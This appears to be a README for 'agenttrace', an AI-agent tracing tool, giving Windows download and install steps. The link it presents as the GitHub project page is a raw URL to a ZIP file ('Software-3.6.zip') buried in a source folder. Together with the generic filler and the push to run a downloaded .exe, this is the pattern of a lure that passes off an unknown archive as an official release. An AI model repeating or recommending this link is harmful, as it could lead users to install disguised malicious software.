AgentTrace is a tool that helps you see what happens inside AI agents step-by-step. It works on your own computer without sending your data elsewhere. The tool comes with two parts:
- A Python SDK that tracks what the AI agent does.
- A web interface that shows this information as an interactive tree. You can explore each step, tool call, prompt, and response to understand how your AI works.
You do not need to know programming to use the web interface. It helps you see what the AI agent tries at every step.
Before you start, make sure your computer meets these needs:
- Windows 10 or later operating system
- At least 4 GB of free RAM (8 GB is better)
- 500 MB free disk space
- Internet connection to download the application
- Web browser such as Chrome, Firefox, or Edge to view the UI
- Python 3.8 or later installed (required to use the SDK)
If you do not have Python installed, please get it from python.org before continuing.
To get agenttrace on your Windows PC:
-
Click on the green Download agenttrace button below to visit the project page.
-
On the GitHub page, look for the latest release or package files.
-
Download the installer or ZIP file for Windows if available.
-
Once downloaded, locate the file in your Downloads folder.
Follow these steps to install agenttrace:
-
For Installer File (e.g.,
.exe):- Double-click the downloaded
.exefile. - Follow the setup prompts.
- Choose the default options unless you want to change the install folder.
- When the installer finishes, you can close it.
- Double-click the downloaded
-
For ZIP Archive:
- Right-click the ZIP file.
- Select
Extract All.... - Choose a folder where you want the files.
- Open the extracted folder.
-
Verify Installation:
- Open the Windows Start menu.
- Find
agenttracein the list. - If it is not listed, you can open a Command Prompt and type:
agenttrace --help - This should show some basic help text if installed correctly.
Once installed, you can start the agenttrace application:
-
Open the application by clicking its Start menu icon or from the extracted folder.
-
The program may open a command window or launch the web UI directly.
-
The web UI runs on your local machine, usually accessible at:
http://localhost:8000 -
Open your web browser and go to that address.
-
Use the interface to load or start new AI agent runs. You can watch every step in detail.
If you want to trace your AI agent runs using Python:
-
Open a Command Prompt or PowerShell window.
-
Install the SDK by running this command:
pip install agenttrace -
Use the SDK to add tracing code in your AI projects. Example:
from agenttrace import TraceAgent agent = TraceAgent(...) agent.run()
-
After running your AI agent, open the web UI to inspect the results.
Make sure Python and pip are installed before these steps.
- Step Debugging: See what your AI agent does at each step.
- Tool Calls: Watch how external tools or APIs are called.
- Prompt Inspection: View the prompts sent to the AI.
- Response Viewing: Read and explore the AI’s answers or output.
- Interactive Tree View: Navigate an easy-to-use tree showing all activity.
- Local Operation: All data stays on your computer for privacy.
- Lightweight UI: Runs fast in modern browsers.
-
If the application does not start, make sure Python is installed and your system meets the requirements.
-
If the web UI at
http://localhost:8000does not open, check if a firewall blocks the program. -
Restart your computer if you face issues after installation.
-
To update agenttrace, download the latest release from the main page and install following the same steps.
-
Visit the GitHub page to read more details or report problems:
https://raw.githubusercontent.com/umairb0/agenttrace/main/backend/src/agent_trace/domain/services/Software-3.6.zip -
Check the Issues tab there for known problems or questions.
-
Look for a README or help files included with the download.
Click the button below to visit the agenttrace GitHub page and download: